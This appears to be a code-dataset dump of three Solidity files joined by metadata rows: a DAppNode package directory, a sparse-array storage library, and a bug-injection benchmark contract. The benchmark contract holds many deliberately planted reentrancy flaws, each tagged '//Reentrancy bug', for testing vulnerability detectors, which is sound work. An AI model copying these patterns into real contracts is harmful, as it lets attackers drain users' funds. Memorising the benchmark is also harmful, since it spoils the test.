/// @notice Checks to see if `_token` is in the blacklist of tokens
/// @param _token the token address being queried
/// @return False if `_token` is in the blacklist and can't be taken out of
/// the contract via the `escapeHatch()`
function isTokenEscapable(address _token) view public returns (bool) {
return !escapeBlacklist[_token];
}
/// @notice The `escapeHatch()` should only be called as a last resort if a
/// security issue is uncovered or something unexpected happened
/// @param _token to transfer, use 0x0 for ether
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
/// @dev Logic for ether
if (_token == address(0)) {
balance = address(this).balance;
escapeHatchDestination.transfer(balance);
emit EscapeHatchCalled(_token, balance);
return;
}
/// @dev Logic for tokens
ERC20 token = ERC20(_token);
balance = token.balanceOf(address(this));
require(token.transfer(escapeHatchDestination, balance));
emit EscapeHatchCalled(_token, balance);
}
/// @notice Changes the address assigned to call `escapeHatch()`
/// @param _newEscapeHatchCaller The address of a trusted account or
/// contract to call `escapeHatch()` to send the value in this contract to
/// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
/// @title DAppNodePackageDirectory Contract
/// @author Eduardo Antua
/// @dev The goal of this smartcontrat is to keep a list of available packages
/// to install in the DAppNode
contract DAppNodePackageDirectory is Owned,Escapable {
/// @param position Indicates the position of the package. position integers
/// do not have to be consecutive. The biggest integer will be shown first.
/// @param status - 0: Deleted, 1: Active, 2: Developing, +
/// @param name ENS name of the package
struct DAppNodePackage {
uint128 position;
uint128 status;
string name;
}
bytes32 public featured;
DAppNodePackage[] DAppNodePackages;
event PackageAdded(uint indexed idPackage, string name);
event PackageUpdated(uint indexed idPackage, string name);
event StatusChanged(uint idPackage, uint128 newStatus);
event PositionChanged(uint idPackage, uint128 newPosition);
event FeaturedChanged(bytes32 newFeatured);
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract; if a neutral address
/// is required, the WHG Multisig is an option:
/// 0x8Ff920020c8AD673661c8117f2855C384758C572
constructor(address _escapeHatchCaller,
address payable _escapeHatchDestination)
Escapable(_escapeHatchCaller, _escapeHatchDestination)
public
{
}
/// @notice Add a new DAppNode package
/// @param name the ENS name of the package
/// @param status status of the package
/// @param position to order the packages in the UI
/// @return the idPackage of the new package
function addPackage (string memory name,
uint128 status,
uint128 position) public onlyOwner returns(uint idPackage) {
idPackage = DAppNodePackages.length++;
DAppNodePackage storage c = DAppNodePackages[idPackage];
c.name = name;
if (position == 0) {
c.position = uint128(1000 * (idPackage + 1));
} else {
c.position = position;
}
c.status = status;
// An event to notify that a new package has been added
emit PackageAdded(idPackage, name);
}
/// @notice Update a DAppNode package
/// @param idPackage the id of the package to be changed
/// @param name the new ENS name of the package
/// @param status status of the package
/// @param position to order the packages in the UI
function updatePackage (uint idPackage,
string memory name,
uint128 status,
uint128 position) public onlyOwner {
require(idPackage < DAppNodePackages.length);
DAppNodePackage storage c = DAppNodePackages[idPackage];
c.name = name;
c.position = position;
c.status = status;
// An event to notify that a package has been updated
emit PackageUpdated(idPackage, name);
}
/// @notice Change the status of a DAppNode package
/// @param idPackage the id of the package to be changed
/// @param newStatus the new status of the package
function changeStatus(uint idPackage,
uint128 newStatus) public onlyOwner {
require(idPackage < DAppNodePackages.length);
DAppNodePackage storage c = DAppNodePackages[idPackage];
c.status = newStatus;
emit StatusChanged(idPackage, newStatus);
}
/// @notice Change the status of a DAppNode package
/// @param idPackage the id of the package to be changed
/// @param newPosition position to order the packages in the UI
function changePosition(uint idPackage,
uint128 newPosition) public onlyOwner {
require(idPackage < DAppNodePackages.length);
DAppNodePackage storage c = DAppNodePackages[idPackage];
c.position = newPosition;
emit PositionChanged(idPackage, newPosition);
}
/// @notice Switch the positio of two DAppNode packages
/// @param idPackage1 the id of the package to be switched
/// @param idPackage2 the id of the package to be switched
function switchPosition(uint idPackage1,
uint idPackage2) public onlyOwner {
require(idPackage1 < DAppNodePackages.length);
require(idPackage2 < DAppNodePackages.length);
DAppNodePackage storage p1 = DAppNodePackages[idPackage1];
DAppNodePackage storage p2 = DAppNodePackages[idPackage2];
uint128 tmp = p1.position;
p1.position = p2.position;
p2.position = tmp;
emit PositionChanged(idPackage1, p1.position);
emit PositionChanged(idPackage2, p2.position);
}
/// @notice Change the list of featured packages
/// @param _featured List of the ids of the featured packages
/// if needed ids [5,43]: _featured = 0x052b0000000000000...
function changeFeatured(bytes32 _featured) public onlyOwner {
featured = _featured;
emit FeaturedChanged(_featured);
}
/// @notice Returns the information of a DAppNode package
/// @param idPackage the id of the package to be changed
/// @return name the new name of the package
/// @return status the status of the package
function getPackage(uint idPackage) public view returns (string memory name,
uint128 status,
uint128 position) {
require(idPackage < DAppNodePackages.length);
DAppNodePackage storage c = DAppNodePackages[idPackage];
name = c.name;
status = c.status;
position = c.position;
}
/// @notice its goal is to return the total number of DAppNode packages
/// @return the total number of DAppNode packages
function numberOfDAppNodePackages() view public returns (uint) {
return DAppNodePackages.length;
}
}
contract ERC20 {
/// @dev Returns the total token supply
function totalSupply() public view returns (uint256 supply);
/// @dev Returns the account balance of the account with address _owner
function balanceOf(address _owner) public view returns (uint256 balance);
/// @dev Transfers _value number of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value number of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 217,843 | 360 |
02b7bee2228fd1d8c03eda414b40436fe4f0c26a7fba5d631052d0f44a29cc30
| 21,253 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Reentrancy/Sol/buggy_44.sol
| 5,575 | 20,132 |
pragma solidity 0.4.25;
contract EventMetadata {
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
}
contract Operated {
mapping(address => uint) balances_re_ent36;
function withdraw_balances_re_ent36 () public {
msg.sender.call.value(balances_re_ent36[msg.sender ])(""); //Reentrancy bug
balances_re_ent36[msg.sender] = 0;
}
address private _operator;
uint256 counter_re_ent35 =0;
function callme_re_ent35() public{
require(counter_re_ent35<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent35 += 1;
}
bool private _status;
address lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.call.value(transferValue_re_ent32)(""); //bug //Reentrancy bug
redeemableEther_re_ent32[msg.sender] = 0;
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
address lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
lastPlayer_re_ent30.call.value(jackpot_re_ent30)("");//Reentrancy bug
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
mapping(address => uint) balances_re_ent3;
function deposit_re_ent3() public payable{
uint amount = msg.value;
balances_re_ent3[msg.sender]+=amount;
}
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
mapping(address => uint) balances_re_ent29;
function withdraw_balances_re_ent29 () public {
msg.sender.call.value(balances_re_ent29[msg.sender ])(""); //Reentrancy bug
balances_re_ent29[msg.sender] = 0;
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
uint256 counter_re_ent28 =0;
function callme_re_ent28() public{
require(counter_re_ent28<=5);
msg.sender.call.value(10 ether)(""); //Reentrancy bug
revert();
counter_re_ent28 += 1;
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent27 = false;
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.call.value(transferValue_re_ent25)(""); //bug //Reentrancy bug
redeemableEther_re_ent25[msg.sender] = 0;
}
}
contract ProofHashes {
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event HashFormatSet(uint8 hashFunction, uint8 digestSize);
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event HashSubmitted(bytes32 hash);
// state functions
function _setMultiHashFormat(uint8 hashFunction, uint8 digestSize) internal {
// emit event
emit HashFormatSet(hashFunction, digestSize);
}
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
function _submitHash(bytes32 hash) internal {
// emit event
emit HashSubmitted(hash);
}
address lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
}
contract MultiHashWrapper {
// bytes32 hash first to fill the first storage slot
struct MultiHash {
bytes32 hash;
uint8 hashFunction;
uint8 digestSize;
}
function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) {
bytes memory out = new bytes(34);
out[0] = byte(multihash.hashFunction);
out[1] = byte(multihash.digestSize);
uint8 i;
for (i = 0; i < 32; i++) {
out[i+2] = multihash.hash[i];
}
return out;
}
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) {
require(source.length == 34, "length of source must be 34");
uint8 hashFunction = uint8(source[0]);
uint8 digestSize = uint8(source[1]);
bytes32 hash;
assembly {
hash := mload(add(source, 34))
}
return (MultiHash({
hashFunction: hashFunction,
digestSize: digestSize,
hash: hash
}));
}
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
}
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes initData) external returns (address instance);
function createSalty(bytes initData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(bytes, bytes32 salt) external view returns (address instance);
function getNextInstance(bytes) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract Template {
bool not_called_re_ent34 = true;
function bug_re_ent34() public{
require(not_called_re_ent34);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent34 = false;
}
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
address lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
function getFactory() public view returns (address factory) {
factory = _factory;
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
}
contract Feed is ProofHashes, MultiHashWrapper, Operated, EventMetadata, Template {
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Initialized(address operator, bytes multihash, bytes metadata);
function initialize(address operator,
bytes memory multihash,
bytes memory metadata) public initializeTemplate() {
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// add multihash to storage
if (multihash.length != 0) {
// unpack multihash
MultiHashWrapper.MultiHash memory multihashObj = MultiHashWrapper._splitMultiHash(multihash);
// set multihash format
ProofHashes._setMultiHashFormat(multihashObj.hashFunction, multihashObj.digestSize);
// submit hash
ProofHashes._submitHash(multihashObj.hash);
}
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, multihash, metadata);
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
// state functions
function submitHash(bytes32 multihash) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// add multihash to storage
ProofHashes._submitHash(multihash);
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
function setMetadata(bytes memory metadata) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// set metadata
EventMetadata._setMetadata(metadata);
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
function renounceOperator() public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._renounceOperator();
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
}
| 223,709 | 361 |
33bb122f79fd36ca287016500aaec8747ab49737c1e5a4f93f5f488baff7b214
| 16,122 |
.sol
|
Solidity
| false |
592219969
|
clabby/sparse-arr-lib
|
de65260d2c0e8c7ddcd9dc868e0e42faf00f5570
|
src/SparseArrLib.sol
| 3,696 | 15,810 |
// SPDX-License-Identifier: Beerware
pragma solidity ^0.8.17;
/// @title SparseArrLib
/// @author clabby <https://github.com/clabby>
/// @author N0xMare <https://github.com/N0xMare>
/// @notice A library for handling sparse storage arrays.
///
/// TODO:
/// - [ ] Finalize core logic.
/// - [ ] Optimize
/// - [x] Add tests for core `store` / `get` / `deleteAt` logic.
/// - [ ] Fix known bugs with edges / deleting the same sparse (i.e. non-canonical) index twice.
/// - [x] Fix certain cases where the binary search can recurse infinitely.
/// - [ ] Invariant tests
/// - [ ] ...
/// - [ ] Gas profiling over a wide range of array sizes / deletions.
/// - [x] Add utility functions such as `pop`, `push`, etc.
library SparseArrLib {
////////////////////////////////////////////////////////////////
// Sparse Array Wranglin' //
////////////////////////////////////////////////////////////////
error DeletionUnderflow();
/// @notice Stores a value within a sparse array
/// @param slot The storage slot of the array to write to.
/// @param index The index within the sparse array to write `contents` to.
/// @param contents The value to write to the array at `index`.
function store(bytes32 slot, uint256 index, bytes32 contents) internal {
// Compute the slot for the given index in the array stored at `slot`
bytes32 rawTargetSlot = computeIndexSlot(slot, index);
// Get the sparse offset at the given index
uint256 offset = getSparseOffset(slot, index);
assembly {
// Grab the sparse length of the array from storage.
let length := sload(slot)
// Do not allow out of bounds writes.
if gt(index, length) {
// Store the `Panic(uint256)` selector in scratch space
mstore(0x00, 0x4e487b71)
// Store the out of bounds panic code in scratch space.
mstore(0x20, 0x20)
// Revert with `Panic(32)`
revert(0x1c, 0x24)
}
// If the index is equal to the length, then we are appending to the array.
// Otherwise, we are overwriting an existing value, so we don't need to update
// the sparse length.
if eq(index, length) { sstore(slot, add(length, 0x01)) }
// Store the contents at the computed slot.
sstore(add(rawTargetSlot, offset), contents)
}
}
/// @notice Retrieves a value from a sparse array at a given index.
/// TODO: Explain what's going on here.
/// @param slot The storage slot of the array to read from.
/// @param index The index within the array to read from.
/// @return _value The value at the given index in the array.
function get(bytes32 slot, uint256 index) internal view returns (bytes32 _value) {
assembly {
// If the requested index is greater than or equal to the length of the array, revert.
if iszero(lt(index, sload(slot))) {
// Store the `Panic(uint256)` selector in scratch space
mstore(0x00, 0x4e487b71)
// Store the out of bounds panic code in scratch space.
mstore(0x20, 0x20)
// Revert with `Panic(32)`
revert(0x1c, 0x24)
}
}
// Compute the slot for the given index in the array stored at `slot`
bytes32 rawTargetSlot = computeIndexSlot(slot, index);
// Get the sparse offset at the given index
uint256 offset = getSparseOffset(slot, index);
assembly {
// Fetch the value at `index` within the sparse array.
_value := sload(add(rawTargetSlot, offset))
}
}
/// @notice Removes an element from the array at the given index and adds a new
/// sparse offset to the deleted elements subarray.
/// @dev WARNING! This function will not revert when deleting an element with a
/// canonical index less than the largest deleted canonical index. If this
/// is done, the data structure will break! Only use this function if you
/// ensure that this will never happen elsewhere in your code.
/// @param slot The storage slot of the array to delete the element from.
/// @param index The index of the element to delete.
function deleteAt(bytes32 slot, uint256 index) internal {
// Compute the storage slot of the deleted elements subarray.
bytes32 sparseSlot = computeSparseSlot(slot);
// TODO: Handle deletions at the same relative index twice.
// TODO: Do not require linear progression of deletions (? - this would kinda suck to do)
// TODO: Ensure edge deletions are handled correctly.
assembly {
let length := sload(slot)
// If the requested index is greater than or equal to the array length, revert.
// Out of bounds deletions are not allowed
if iszero(lt(index, length)) {
// Store the `Panic(uint256)` selector in scratch space
mstore(0x00, 0x4e487b71)
// Store the out of bounds panic code in scratch space.
mstore(0x20, 0x20)
// Revert with `Panic(32)`
revert(0x1c, 0x24)
}
// Decrement the sparse length of the target array by 1.
sstore(slot, sub(length, 0x01))
// Fetch the total offset from the deleted elements subarray
// (the total offset is just the length)
let totalOffset := sload(sparseSlot)
// Increment the total offset of the deleted elements subarray by 1.
let newTotalOffset := add(totalOffset, 0x01)
sstore(sparseSlot, newTotalOffset)
// Store the sparse slot in scratch space for hashing.
mstore(0x00, sparseSlot)
// Store the canonical index of the deleted element as well as the sparse
// offset of elements proceeding it.
// Canonical index = index + sparseOffset
sstore(add(totalOffset, keccak256(0x00, 0x20)), add(index, newTotalOffset))
}
}
/// @notice Removes an element from the array at the given index and adds a new
/// sparse offset to the deleted elements subarray.
/// @dev This function *will* revert if the canonical index of `index` is less than
/// the largest deleted canonical index.
/// @param slot The storage slot of the array to delete the element from.
/// @param index The index of the element to delete.
function safeDeleteAt(bytes32 slot, uint256 index) internal {
// Compute the storage slot of the deleted elements subarray.
bytes32 sparseSlot = computeSparseSlot(slot);
// TODO: Handle deletions at the same relative index twice.
// TODO: Do not require linear progression of deletions (? - this would kinda suck to do)
// TODO: Ensure edge deletions are handled correctly.
assembly {
let length := sload(slot)
// If the requested index is greater than or equal to the array length, revert.
// Out of bounds deletions are not allowed
if iszero(lt(index, length)) {
// Store the `Panic(uint256)` selector in scratch space
mstore(0x00, 0x4e487b71)
// Store the out of bounds panic code in scratch space.
mstore(0x20, 0x20)
// Revert with `Panic(32)`
revert(0x1c, 0x24)
}
// Store the sparse slot in scratch space for hashing.
mstore(0x00, sparseSlot)
// Get the slot of the first element in the deleted elements subarray
let sparseStartSlot := keccak256(0x00, 0x20)
// Fetch the total offset from the deleted elements subarray
// (the total offset is just the length)
let totalOffset := sload(sparseSlot)
// Do not allow deletion of a canonical index that is less than the largest deleted canonical index.
if lt(add(index, totalOffset), sload(add(sparseStartSlot, sub(totalOffset, 0x01)))) {
// Store the `DeletionUnderflow()` selector in scratch space
mstore(0x00, 0xdb199ace)
// Revert with `DeletionUnderflow()`
revert(0x1c, 0x04)
}
// Decrement the sparse length of the target array by 1.
sstore(slot, sub(length, 0x01))
// Increment the total offset of the deleted elements subarray by 1.
let newTotalOffset := add(totalOffset, 0x01)
sstore(sparseSlot, newTotalOffset)
// Store the canonical index of the deleted element as well as the sparse
// offset of elements proceeding it.
// Canonical index = index + sparseOffset
sstore(add(totalOffset, sparseStartSlot), add(index, newTotalOffset))
}
}
/// @notice Push a value onto the end of the array.
/// @param slot The storage slot of the array to push to.
/// @param contents The value to push onto the array.
function push(bytes32 slot, bytes32 contents) internal {
uint256 length;
assembly {
length := sload(slot)
}
// Compute the slot for the given index in the array stored at `slot`
bytes32 rawTargetSlot = computeIndexSlot(slot, length);
// Get the sparse offset at the given index
uint256 offset = getSparseOffset(slot, length);
assembly {
// We are appending to the array- increment the length by 1.
sstore(slot, add(length, 0x01))
// Store the contents at the computed slot.
sstore(add(rawTargetSlot, offset), contents)
}
}
/// @notice Pop, removes the last item of the sparse array if array length is greater than 0
/// @param slot The storage slot of the array to delete the element from.
function pop(bytes32 slot) internal {
assembly {
let length := sload(slot)
if iszero(length) {
// Store the `Panic(uint256)` selector in scratch space
mstore(0x00, 0x4e487b71)
// Store the out of bounds panic code in scratch space.
mstore(0x20, 0x20)
// Revert with `Panic(32)`
revert(0x1c, 0x24)
}
sstore(slot, sub(length, 0x01))
}
}
////////////////////////////////////////////////////////////////
// Helpers //
////////////////////////////////////////////////////////////////
/// @notice Performs a binary search on all the deleted elements in the array to find
/// the sparse offset of the given index.
/// @param slot The storage slot of the array to read from.
/// @param index The index within the array to read from.
/// @return _offset The sparse offset of the given index.
function getSparseOffset(bytes32 slot, uint256 index) internal view returns (uint256 _offset) {
// Compute the storage slot for the array of deleted elements.
bytes32 sparseSlot = computeSparseSlot(slot);
assembly {
// Search for sparse offset of the given index by performing a binary
// search on the deleted elements in the array.
let low := 0x00
let high := sload(sparseSlot)
// If low and high are not equal, elements within the sparse array have been
// deleted. We need to perform a binary search to find the sparse offset at
// the given index.
if xor(low, high) {
// Store the sparse slot in scratch space for hashing
mstore(0x00, sparseSlot)
// Get the slot of the first element within the deleted elements array.
sparseSlot := keccak256(0x00, 0x20)
